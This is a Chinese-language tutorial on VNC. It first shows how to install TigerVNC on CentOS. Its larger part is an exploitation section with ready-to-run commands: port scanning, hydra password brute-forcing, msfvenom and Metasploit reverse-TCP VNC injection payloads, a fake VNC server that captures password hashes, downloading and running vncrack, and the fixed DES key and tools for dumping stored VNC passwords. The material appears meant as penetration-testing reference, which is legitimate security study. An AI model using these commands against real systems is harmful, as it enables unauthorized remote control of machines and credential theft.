安装

VNC服务是基于RFC(Remote Frame Buffer)协议的、对另一个系统进行图形远程访问的服务,与RDP协议功能类似,但是VNC服务是平台独立的,因此可在不同机器间远程。 VNC使用需要安装服务端和客户端,VNC软件多种多样,tightvnc, tigervnc, UltraVNC,这里演示的是在centos机器上安装tigerVNC。
  1. sudo yum install tigervnc-server
  2. sudo cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service
  3. sudo vim /etc/systemd/system/vncserver@:1.service
  4. 将其中<USER>替换为你想要的用户名

VNC - 图2

使用对应的用户名ssh登录机器,设置VNC密码后启动VNC服务
  1. vncserver
  2. sudo systemctl daemon-reload // 如果新建或修改了配置,要执行此命令重新加载配置
  3. sudo systemctl start vncserver@:1.service
  4. // 其他命令
  5. vncpasswd // 修改密码
  6. sudo systemctl restart vncserver@:1.service
  7. sudo systemctl status vncserver@:1.service -l
  8. sudo systemctl enable vncserver@:1.service
  9. sudo systemctl disable vncserver@:1.service
使用客户端访问VNC服务,这里用了vncviewer

VNC - 图3

如果希望多用户访问,则按照上面的步骤为user2配置/etc/systemd/system/vncserver@:2.service即可,端口号也递增至5902,远程成功后显示的就是user2用户的桌面。 也就是说,一个端口对应一个ssh用户,VNC客户端访问 IP:Port后直接输入对应的vnc passwd即可。

利用

端口扫描

  1. nmap -p 5901 -sV 192.168.1.46
  2. nmap -p 5901 --script vnc-info 192.168.1.46

爆破登录

hydra -s 5901 -P pass.txt -t 16 192.168.1.46 vnc

VNC Session

直接反弹VNC Session

  1. msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.240.128 lport=5432 -f exe > vnc.exe
  2. use exploit/multi/handler
  3. set payload windows/x64/vncinject/reverse_tcp
  4. set lhost 192.168.240.128
  5. set lport 4532
  6. exploit

VNC - 图4

Meterpreter to VNC Session

run vnc

VNC - 图5

MSF其他session to VNC Session

  1. use exploit/windows/local/payload_inject
  2. set payload windows/vncinject/reverse_tcp
  3. set lport 6789
  4. set session 1
  5. exploit
  6. 注意这里要用x86平台的vncinject/reverse_tcp,因为payload_inject是起一个notepad进程后注入payloadnotepad.exe32位程序。

VNC - 图6

VNC密码窃取

伪造服务

  1. use auxiliary/server/capture/vnc
  2. set srvhost 192.168.1.128
  3. exploit
  4. vncviewer 192.168.240.128:5900
  5. wget http://www.phenoelit.org/vncrack/vncrack_s.gz
  6. gunzip vncrack_s.gz
  7. chmod +x vncrack_s
  8. ./vncrack_s -c 00112233445566778899aabbccddeeff -r f15ed1a2e7bcce166da48e02a1204091 -w pass.txt

VNC - 图7

密码嗅探

VNC - 图8

  1. ./vncrack_s -c f7ed47c3ab290fa98ba7044314d0353f -r ead4964f2549ae81723873806ec9931b -w pass.txt

密码Dump

使用VNC Passwd认证方式时,服务端会用DES(对称加密算法)加密密码后存储在注册表或文件中。不同的VNC软件存储位置不一样,但DES密钥是固定的”\x17\x52\x6b\x06\x23\x4e\x58\x07”。 那么通过其他途径获取主机session后,可直接在主机上dump密码。

VNC - 图9

  1. ## vncrack
  2. ./vncrack_s -C /root/.vnc/passwd
  3. # vncpasswd.py
  4. git clone https://github.com/trinitronx/vncpasswd.py
  5. cd vncpasswd.py
  6. python2 ./vncpasswd.py -d -f ~/.vnc/passwd
  7. ./vncpasswd.py -d -H f0e43164f6c2e373
  8. # msf
  9. use post/windows/gather/credentials/vnc
  10. set session 1
  11. exploit

原文

VNC服务